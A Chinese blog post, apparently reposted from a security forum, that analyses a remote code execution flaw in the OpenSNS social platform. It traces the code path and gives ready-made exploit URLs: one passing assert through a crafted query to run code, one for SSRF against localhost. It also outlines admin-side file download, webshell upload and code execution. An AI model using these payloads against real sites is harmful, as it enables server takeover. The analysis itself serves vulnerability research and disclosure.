OpenSNS RCE分析 - j1ang

admin 2021年12月31日15:12:01评论247 views字数 1703阅读5分40秒阅读模式

OpenSNS 远程命令执行漏洞

漏洞分析

opensns是基于tp3开发的,仅支持php5

漏洞入口在 weibo/share/sharebox

通过 get请求提交query参数

这里存在变量覆盖的漏洞。

这里是 两个参数的示例。

跟进 assign 方法。

将 $array 数组,存进了 $this->tVar['parse_array'] 中,用于后续模板渲染中,提供对应的参数。

T 函数就是获取模板文件,然后 display方法将其渲染呈现。

中间寻找并解析模板的就不看了,直接跟进到最后的php文件的地方。

这里又调用了 W 函数。

继续跟进

这里的A 函数有如下解释。

经过A 函数的处理,最后会去调用weibo appwidget 控制层,ShareWidget控制器的fetchshare操作。

注意此处传入的 $param 参数,就是上面模板中传入的参数 $parse_array,也就是经过变量解析后的数组。

跟进 D函数

解释是实例化模型类,也就是 Model 文件夹下的,shareModel 模型,

跟进其getInfo 方法

注意这里,$param 我们完全可控,

我们是可以 实例化任意模型,并调用其public 方法的,并且可以 传入可控的参数。

寻找可以利用的模型的方法,但只限于一个参数的。

在所有app的模型文件下,全局搜一些危险函数,但都不太能利用,要么是私有的,但公有方法中把参数都写死了。

基本所有的模型类都继承一个基类,

可以在这里找找。

找到两个看起来可以用的,

再去其继承类里找实现,在 common/schedule/runschedule 中找到入口。

D 函数,如果提供第一个参数为空的的话,返回的是实例化的基类。

同时又因为此模型类继承基类,可以在其中调用父类的保护方法。

注意提供的参数

$return = D($method[0])->$method[1]($args, $schedule);

$schedule 是我们传入的 $param['id']$arg$schedule['arg'] 经过 parse_str 处理后的数组。

所以此处,并不能用 returnResult 方法来处理

_validationFieldItem 方法中,

$val[4] 可以控制为function

$val[6] 不传值,$arg 就会变成空数组,

然后在下面,

array_unshift($args, $data[$val[0]]);

这里 $data 是先前经过 parse_str 处理后的数组。

$val[0] 需要是解析前的变量名。

然后在下面的 call_user_func_array 处造成 RCE,由于使用 php5 的环境,直接用 assert 去任意代码执行。

利用

rce

payload

?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=jiang=phpinfo()%26id[0]=jiang

SSRF

admin/curlmodel/curl 模型中,

有可控且可利用的 SSRF利用点。

但苦于此处即使将$result 返回,但没有显示位,不过可以ssrf并不依靠显示的其他利用,依然可以行得通。

?s=weibo/share/shareBox&query=app=Admin%26model=Curl%26method=curl%26id=http://127.0.0.1/

题外话

后台任意文件下载

后台的下载主题的地方,

$aTheme 可控,我们可以利用其穿越到任意目录,然后造成任意文件或文件夹下载。

后台任意文件上传

同时我们可以上传 zip文件,包里可以包含木马文件,

然后会解压到 Theme 文件夹下。

后台任意代码执行

这里他自产自销,都不用我们访问了,直接包含。

这三个点都是比赛时候审出来的,在日志中发现后台没有密码,操,都没继续往下看日志中有payload。后面两个也因为直接封掉了对目录写入的权限导致没法利用。

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:12:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OpenSNS RCE分析 - j1anghttp://cn-sec.com/archives/710693.html

发表评论

匿名网友 填写信息